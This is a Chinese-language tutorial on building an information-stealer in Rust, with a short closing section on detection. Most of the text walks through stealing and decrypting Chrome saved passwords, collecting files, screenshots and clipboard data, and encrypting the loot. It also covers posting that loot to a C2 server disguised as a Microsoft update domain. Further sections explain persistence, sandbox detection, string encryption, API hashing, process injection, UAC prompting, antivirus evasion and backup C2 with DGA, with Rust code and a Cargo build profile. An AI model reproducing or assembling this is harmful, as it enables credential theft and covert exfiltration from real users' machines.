1. 项目概述:为什么是Rust?
最近几年,安全圈里一个挺有意思的现象是,越来越多的恶意软件开发者开始把目光投向Rust。这听起来有点反直觉,毕竟Rust一直以“安全、并发、高性能”著称,是系统级编程的“好公民”。但恰恰是这些特性,让它成为了某些特殊场景下的“利器”。今天我们不谈道德,只谈技术,从一个纯粹的技术实现角度,来拆解一下如何用Rust构建一个信息窃取器(Information Stealer)。这能帮你理解现代恶意软件的演进趋势,更重要的是,作为防御方,你能更清楚地知道对手可能用什么工具、什么思路来攻击你。
信息窃取器,顾名思义,它的核心任务就是悄无声息地从目标机器上收集敏感信息,比如浏览器保存的密码、自动填充数据、Cookie、加密货币钱包、系统信息、屏幕截图,甚至是特定目录下的文档,然后把这些数据打包、加密,发送到攻击者控制的服务器。传统的这类工具多用C、C++或Python编写,但各有各的痛点:C/C++内存安全问题多,容易崩溃或被检测;Python需要解释器,依赖明显,容易被静态分析。Rust的出现,提供了一个新的选择:它能编译成高效、无额外依赖的原生二进制文件,其所有权系统和严格的编译时检查,极大地减少了内存安全漏洞(如缓冲区溢出)的风险,这让恶意软件更稳定、更隐蔽。同时,Rust强大的类型系统和丰富的生态库(crate),让开发复杂的多线程、网络通信、加密等功能变得相对容易。
所以,这个“实战案例”的目的,是深入技术底层,理解一种新兴的攻击载体。对于安全研究人员、红队队员或是单纯对Rust系统编程感兴趣的朋友来说,这是一个绝佳的、深入理解操作系统交互、网络编程和数据处理的综合项目。记住,我们讨论的所有代码和思路,都应仅在授权的测试环境或完全隔离的实验室中运行。
2. 核心架构与设计思路
构建一个信息窃取器,远不止是写几个函数那么简单。它需要一套完整的工程化思维,考虑隐蔽性、稳定性、兼容性和可扩展性。用Rust来实现,我们可以充分利用其语言特性来优化这些方面。
2.1 模块化设计:高内聚,低耦合
一个好的设计应该像乐高积木,各个模块功能独立,又能轻松组合。我们的窃取器可以大致分为以下几个核心模块:
- 信息收集模块:这是窃取器的“眼睛”和“手”。负责扫描磁盘、查询注册表(Windows)、读取特定文件、调用系统API获取进程列表、网络配置等。这部分需要针对不同操作系统(主要是Windows,其次是macOS和Linux)进行条件编译。
- 数据持久化与加密模块:收集到的原始数据可能是文本、二进制文件(如数据库)或内存数据。我们需要一个统一的格式(如JSON)来序列化它们。更重要的是,在将数据发送出去之前,必须进行加密。这涉及到对称加密算法(如AES)的选择和密钥管理。
- 网络通信模块:这是窃取器的“嘴”和“腿”。负责与C2(命令与控制)服务器建立连接,上传窃取的数据,并接收可能的指令(如下载并执行新模块)。通信需要隐蔽,可能使用HTTPS来伪装在正常流量中,或者使用更复杂的协议如DNS隧道、WebSocket。
- 反分析/规避模块:为了让程序存活更久,需要一些基本的“自卫”能力。例如,检查自身是否在沙箱、虚拟机或调试器中运行;通过代码混淆、字符串加密增加静态分析难度;实现进程注入或持久化机制(如注册为服务、计划任务)。
选择Rust,我们可以用cargo轻松管理这些模块。每个模块可以是一个独立的crate,或者至少是项目中的一个mod。例如,信息收集模块可能会依赖winapi(Windows)、dirs(跨平台目录)、keyring(访问系统密钥环)等crate。
2.2 隐蔽性与持久化策略
隐蔽是恶意软件的生存之本。Rust编译出的单个可执行文件本身就有一定优势。但我们还可以做得更多:
- 文件名与图标伪装:将可执行文件命名为类似
svchost.exe、updater.exe或伪装成PDF文档图标(在Windows上通过资源编辑实现)。 - 代码混淆:虽然Rust编译后的代码已经有一定复杂度,但可以使用LLVM混淆器插件或在编译后使用工具进行二进制混淆,增加逆向工程难度。
- 持久化:
- Windows:可以通过修改注册表
HKCU\Software\Microsoft\Windows\CurrentVersion\Run实现用户登录自启动。更隐蔽的方式是创建Windows服务(Service),这需要更高的权限,但存活率也更高。Rust中可以使用windows-service这个crate来相对方便地创建和管理服务。 - macOS:可以创建Launch Agent plist文件到
~/Library/LaunchAgents/。 - Linux:可以添加桌面入口文件或systemd用户服务。
- Windows:可以通过修改注册表
- 沙箱检测:简单的检查包括查看CPU核心数(沙箱通常很少)、内存大小、磁盘空间、是否存在特定进程(如
vboxservice)、或测量代码执行的时间差(沙箱可能加速模拟)。这些检查可以用条件判断实现,如果检测到沙箱,则程序可以进入“休眠”状态或执行无害操作。
2.3 错误处理与日志记录
一个健壮的程序必须能妥善处理错误。Rust的Result和?操作符是天生的帮手。在恶意软件上下文中,日志记录需要格外小心。我们绝不能将调试信息输出到标准输出或文件,这等于自曝行踪。取而代之的是,应该将关键的错误信息或状态信息,通过加密通道发送回C2服务器,或者干脆静默失败,不留下任何本地痕迹。在代码中,应大量使用map_err将底层错误转换为自定义的错误类型,并在最高层的循环或主逻辑中决定如何处理(如重试、跳过或上报)。
3. 关键模块实现细节解析
理论说再多,不如一行代码。我们来深入几个最关键模块的实现细节,看看Rust如何大显身手。
3.1 信息收集:瞄准浏览器数据
浏览器是信息宝库。以收集Chrome的登录凭据为例,在Windows上,它们通常加密存储在%LocalAppData%\Google\Chrome\User Data\Default\Login Data这个SQLite数据库中。加密密钥则藏在%LocalAppData%\Google\Chrome\User Data\Local State这个JSON文件里。
实现步骤:
- 定位文件:使用
dirs::data_local_dir()结合路径拼接,找到上述文件。需要处理可能的多用户profile情况。 - 提取加密密钥:读取
Local State文件,解析JSON,找到os_crypt.encrypted_key这个字段。这个密钥本身是用DPAPI(Windows数据保护API)加密过的。我们需要调用Windows API来解密它。// 伪代码示例,实际需要依赖windows crate和复杂的API调用 fn decrypt_master_key(encrypted_key: &[u8]) -> Result<Vec<u8>> { // 调用CryptUnprotectData解密 // ... } - 解密数据库密码:使用解密出来的密钥,通过AES-256-GCM算法解密数据库中的
password_value字段。这里会用到aes-gcm和ring等加密库。注意,Chrome版本不同,加密方式可能有细微差别。 - 读取数据库:使用
rusqlitecrate打开Login Data文件,执行SQL查询SELECT origin_url, username_value, password_value FROM logins,然后对password_value进行步骤3的解密。
注意:直接读取Chrome的数据库文件可能在Chrome运行时被锁定,导致读取失败。一个常见的技巧是先将数据库文件复制到临时位置,再对副本进行操作。此外,Edge、Brave等基于Chromium的浏览器,其数据存储路径和格式类似,可以一并支持。
除了浏览器,其他常见目标包括:
- 系统信息:通过
sysinfocrate获取。 - 文件遍历:使用
walkdircrate递归扫描Downloads、Desktop、Documents目录,寻找.pdf,.docx,.xlsx等文件。 - 屏幕截图:在Windows上,可以使用
screenshotcrate或直接调用user32.dll和gdi32.dll的相关函数。 - 剪贴板内容:使用
clipboardcrate。
3.2 安全通信:与C2服务器的“暗语”
数据收集好后,需要安全地送出去。直接明文HTTP POST是自杀行为。我们需要加密和隐蔽。
方案一:HTTPS + 自定义协议这是目前最主流也是最“像”正常流量的方式。使用reqwestcrate(启用rustls-tls特性以避免OpenSSL依赖)向一个看起来正常的域名(如api.update-microsoft.com)发送HTTPS POST请求。请求体是我们加密后的数据包。
关键在于数据包格式。我们可以设计一个简单的二进制协议:
[4字节 数据长度][数据]数据部分则是先用一个随机生成的AES-256密钥加密实际内容,再用C2服务器的RSA公钥加密这个AES密钥,将两者一起打包。这样即使流量被截获,没有服务器私钥也无法解密。
use reqwest::blocking::Client; use rsa::{RsaPublicKey, pkcs8::DecodePublicKey}; use aes_gcm::{Aes256Gcm, KeyInit, aead::Aead}; fn send_data(c2_url: &str, data: &[u8], rsa_pub_key: &RsaPublicKey) -> Result<()> { // 1. 生成随机的AES密钥和Nonce let aes_key = Aes256Gcm::generate_key(&mut rand::thread_rng()); let nonce = aes_gcm::generate_nonce(&mut rand::thread_rng()); // 2. 用AES加密数据 let cipher = Aes256Gcm::new(&aes_key); let encrypted_data = cipher.encrypt(&nonce, data).map_err(|e| anyhow::anyhow!("AES加密失败: {}", e))?; // 3. 用RSA公钥加密AES密钥 let encrypted_key = rsa_pub_key.encrypt(&mut rand::thread_rng(), PaddingScheme::PKCS1v15Encrypt, &aes_key)?; // 4. 组装最终包:[nonce(12字节)][加密的AES密钥长度(2字节)][加密的AES密钥][加密的数据] let mut final_packet = Vec::new(); final_packet.extend_from_slice(&nonce); final_packet.extend_from_slice(&(encrypted_key.len() as u16).to_be_bytes()); final_packet.extend_from_slice(&encrypted_key); final_packet.extend_from_slice(&encrypted_data); // 5. 发送 let client = Client::new(); let _response = client.post(c2_url).body(final_packet).send()?; Ok(()) }方案二:更隐蔽的通道对于更高阶的需求,可以考虑DNS隧道(将数据编码在DNS查询和响应中)或利用常见的云存储API(如Google Drive, Dropbox)作为中转。这些方法流量特征更不明显,但实现也更复杂。
3.3 内存规避:让EDR“看”不清
终端检测与响应(EDR)工具会监控进程的内存和行为。一些简单的技巧可以增加分析难度。
- 字符串加密:硬编码的URL、API密钥、函数名是明显的特征。我们可以在编译时或运行时加密它们。
// 编译时加密(使用构建脚本) const ENCRYPTED_C2_URL: &[u8] = &[0x12, 0x34, 0x56, ...]; fn get_c2_url() -> String { // 在运行时解密 xor_decrypt(ENCRYPTED_C2_URL, SECRET_KEY) } - API哈希:直接调用
LoadLibraryA和GetProcAddress通过函数名的字符串来解析API,这个字符串会被扫描。我们可以改为使用API的哈希值。在运行时,遍历DLL的导出表,计算每个函数名的哈希(如简单的ROR13哈希),与我们预计算的哈希值匹配,从而得到函数地址。这被称为“API Hashing”,在Rust中需要内联汇编或调用winapicrate的更底层接口来实现。 - 进程注入:将核心代码注入到一个合法的、受信任的进程(如
explorer.exe)中运行。这涉及到打开远程进程、分配内存、写入shellcode、创建远程线程等一系列操作。Rust的windowscrate提供了所需的全部Win32 API绑定。这是高级技术,实现不当极易导致崩溃。
4. 完整构建流程与配置要点
现在,让我们把各个模块组装起来,看看一个完整的项目应该如何构建和配置。
4.1 项目初始化与依赖管理
首先,用cargo new stealer --bin创建一个新项目。Cargo.toml是这个项目的核心,依赖项的选择至关重要。
[package] name = "stealer" version = "0.1.0" edition = "2021" # 可以设置优化等级和去除符号信息,让二进制文件更小、更难分析 [profile.release] opt-level = "z" # 优化大小 lto = true # 链接时优化 strip = true # 去除符号 [dependencies] tokio = { version = "1", features = ["full"] } # 异步运行时,用于网络等IO操作 reqwest = { version = "0.11", features = ["rustls-tls"], default-features = false } # HTTP客户端,使用rustls serde = { version = "1.0", features = ["derive"] } serde_json = "1.0" # 操作系统特定依赖 [target.'cfg(windows)'.dependencies] winapi = { version = "0.3", features = ["winreg", "winsock2", "processthreadsapi", "winbase", "minwindef"] } windows = { version = "0.52", features = ["Win32_Foundation", "Win32_System_Memory", "Win32_Security", "Win32_System_Threading"] } # 更现代的Windows API绑定 dirs = "5.0" rusqlite = { version = "0.29", features = ["bundled"] } # SQLite驱动 aes-gcm = "0.10" rsa = "0.9" rand = "0.8" anyhow = "1.0" # 错误处理提示:使用
cfg属性进行条件编译,确保非Windows平台不会尝试编译Windows特定的代码,这能保证项目的跨平台编译能力(即使我们主要目标平台是Windows)。
4.2 编译与链接优化
为了减小最终二进制文件的体积,我们可以:
- 使用
cargo build --release进行发布构建。 - 使用
upx等可执行文件压缩工具进一步压缩。但要注意,UPX压缩过的文件特征明显,一些安全软件会直接标记。 - 在
Cargo.toml中设置panic = "abort",这可以移除panic展开的相关代码,减小体积,但发生panic时程序会直接终止,不利于稳定性(对于恶意软件,静默崩溃有时比抛出错误更好)。 - 考虑使用
#![no_std]属性编写核心逻辑,但这会失去标准库的便利,仅适用于对体积极端敏感的场合。
4.3 多线程与异步任务调度
信息窃取往往涉及多个独立任务:收集浏览器数据、扫描文件、截图、发送数据。这些任务可以并行执行以提高效率。Rust的tokio运行时非常适合这种IO密集型场景。
#[tokio::main] async fn main() -> Result<()> { let (tx, rx) = tokio::sync::mpsc::channel(32); // 创建一个通道 // 启动多个收集任务 let tx1 = tx.clone(); tokio::spawn(async move { let browser_data = collect_chrome_passwords().await; let _ = tx1.send(DataChunk::Browser(browser_data)).await; }); let tx2 = tx.clone(); tokio::spawn(async move { let sys_info = collect_system_info(); let _ = tx2.send(DataChunk::System(sys_info)).await; }); // 启动一个消费者任务,负责接收所有数据、打包、加密并发送 tokio::spawn(async move { let mut all_data = Vec::new(); while let Some(chunk) = rx.recv().await { all_data.push(chunk); } // 序列化、加密、发送 send_to_c2(&all_data).await; }); // 主线程可以等待或执行其他任务(如持久化安装) tokio::signal::ctrl_c().await?; Ok(()) }这种生产者-消费者模式清晰地将数据收集和上报解耦。
5. 实战中遇到的典型问题与解决方案
在开发过程中,我踩过不少坑。这里分享几个最具代表性的问题及其解决方法。
5.1 权限问题与用户账户控制
在Windows上,访问某些受保护路径(如其他用户的AppData)或注册表键值需要管理员权限。我们的程序可能以普通用户权限启动。
- 解决方案1:诱导提权。如果程序检测到需要管理员权限,可以尝试通过ShellExecute以
runas动词重新启动自身。但这会弹出UAC对话框,非常显眼。// 伪代码,需要调用ShellExecuteW if !is_elevated() && need_admin { ShellExecuteW(NULL, "runas", program_path, args, NULL, SW_SHOW); std::process::exit(0); } - 解决方案2:权限维持。在已经获得管理员权限的情况下(例如通过漏洞利用或社会工程学),进行高权限操作,如安装服务、添加注册表键。这是更常见的恶意软件做法。
- 解决方案3:绕开。专注于当前用户权限下可访问的数据。大部分有价值的数据(浏览器、文件、Wi-Fi密码)其实都在当前用户目录下,无需管理员权限也能获取。这是最隐蔽的方式。
5.2 防病毒软件实时监控与绕过
现代AV/EDR不仅做静态特征扫描,还有动态行为监控(如监控对敏感API的调用、可疑的网络连接)。
- 静态绕过:
- 加壳/混淆:使用商业或自定义的加壳工具对最终二进制进行处理,改变其静态特征。但很多高级壳本身就有特征。
- 代码变形:在源码级别,通过等价代码替换、插入垃圾指令、控制流扁平化等手段,使每次编译生成的二进制都有所不同。这需要自定义编译器或后处理工具,成本较高。
- 动态绕过:
- 时间延迟:程序启动后先睡眠随机时间,避免沙箱的超时检测。
- 用户交互检测:模拟鼠标移动、点击,或检查是否有真实的用户登录会话。
- 拆分功能:将信息收集、加密、通信等功能拆分成多个小模块,按需从C2下载执行。这样,初始的“下载器”体积小、行为简单,不易触发警报。
重要心得:没有一劳永逸的绕过方法。安全软件也在不断进化。最有效的策略是“低调”和“慢”。避免大规模、快速的磁盘扫描或网络活动。将任务分散在长时间内完成,模仿正常软件的行为模式。
5.3 跨平台兼容性的挑战
虽然Rust号称跨平台,但涉及系统底层操作时,差异巨大。我们的信息收集代码充满了#[cfg(windows)]、#[cfg(target_os = "linux")]等条件编译块。
- 文件路径:使用
std::path::Path和PathBuf,但连接路径时要注意分隔符。dirscrate提供了跨平台的标准目录获取。 - 浏览器数据位置:Chrome在macOS上数据在
~/Library/Application Support/Google/Chrome/,在Linux上在~/.config/google-chrome/。密钥管理方式也不同(macOS使用Keychain,Linux可能使用libsecret)。这需要为每个平台实现不同的解密例程。 - 构建:使用GitHub Actions或GitLab CI等CI/CD工具,可以方便地配置多平台构建矩阵,一次性生成Windows、macOS、Linux的可执行文件。
5.4 网络通信的稳定性与重试
网络环境是不稳定的。C2服务器可能下线,连接可能超时。
- 实现指数退避重试:这是必须的。发送失败后,等待一段时间再重试,且每次等待时间指数级增加(如1秒,2秒,4秒,8秒...),直到最大重试次数。
use tokio::time::{sleep, Duration}; async fn send_with_retry(data: &[u8], max_retries: u32) -> Result<()> { let mut retry_delay = Duration::from_secs(1); for attempt in 0..max_retries { match send_to_c2(data).await { Ok(_) => return Ok(()), Err(e) if attempt == max_retries - 1 => return Err(e), Err(e) => { log::warn!("发送失败 (尝试 {}): {}, {}秒后重试", attempt+1, e, retry_delay.as_secs()); sleep(retry_delay).await; retry_delay = retry_delay * 2; // 指数退避 } } } unreachable!() } - 备用C2:在代码中硬编码多个C2域名或IP地址。当主C2失效时,按顺序尝试备用节点。域名可以通过DGA(域名生成算法)动态生成,使得封锁变得困难。
- 心跳机制:定期向C2发送一个很小的“我还活着”的数据包,保持连接活跃,同时可以接收新指令。
6. 防御视角:如何检测此类Rust恶意软件
作为蓝队或安全分析师,了解攻击技术是为了更好地防御。针对Rust编写的恶意软件,检测思路需要调整。
- 静态分析:
- 字符串与导入表:虽然Rust程序静态链接了大部分库,减少了直接的DLL依赖,但一些Windows API的字符串(如果未加密)和特定的crate名称可能在二进制中留下痕迹。分析工具可以寻找
winapi、windowscrate中特定模块的哈希值或特征。 - 熵值分析:经过加密或压缩的数据段,其熵值(随机性)会显著高于普通代码段。高熵的PE节(如
.rdata或自定义节)是一个可疑指标。 - Rust运行时特征:Rust编译的程序有其独特的启动代码和运行时结构(如panic处理函数)。这些可以作为识别特征。
- 字符串与导入表:虽然Rust程序静态链接了大部分库,减少了直接的DLL依赖,但一些Windows API的字符串(如果未加密)和特定的crate名称可能在二进制中留下痕迹。分析工具可以寻找
- 动态/行为分析:
- 监控敏感操作:无论用什么语言编写,恶意行为是类似的。EDR应重点监控:对
Login Data、Local State、Cookies等浏览器数据库文件的读取;对lsass.exe进程的访问尝试;大量收集系统信息(GetSystemInfo,NetWkstaGetInfo);向外网IP发起加密的HTTPS POST请求。 - 父子进程关系:如果恶意软件通过进程注入执行,观察可疑的进程派生关系或远程线程创建事件。
- 网络流量分析:虽然流量被加密,但TLS握手阶段的JA3指纹、通信的周期性和数据包大小模式、连接的域名信誉(尤其是新注册的、与DGA模式匹配的域名)都可以作为检测依据。
- 监控敏感操作:无论用什么语言编写,恶意行为是类似的。EDR应重点监控:对
- 内存检测:在内存中寻找未加密的敏感字符串(如C2 URL、API密钥)、或注入的shellcode。Rust程序的内存布局可能与传统C++程序不同,需要更新检测规则。
说到底,防御的核心不在于识别语言,而在于识别行为。建立完善的行为基线,对偏离基线的异常活动(如一个普通文本编辑器进程突然去读取Chrome的密码文件)进行告警,是更有效的策略。同时,保持系统和软件更新,使用强密码和双因素认证,对员工进行安全意识培训,这些基础安全措施永远不过时。通过这个项目,我深刻体会到,攻击和防御是一场永不停歇的博弈,而理解对方的工具和思维,是赢得这场博弈的第一步。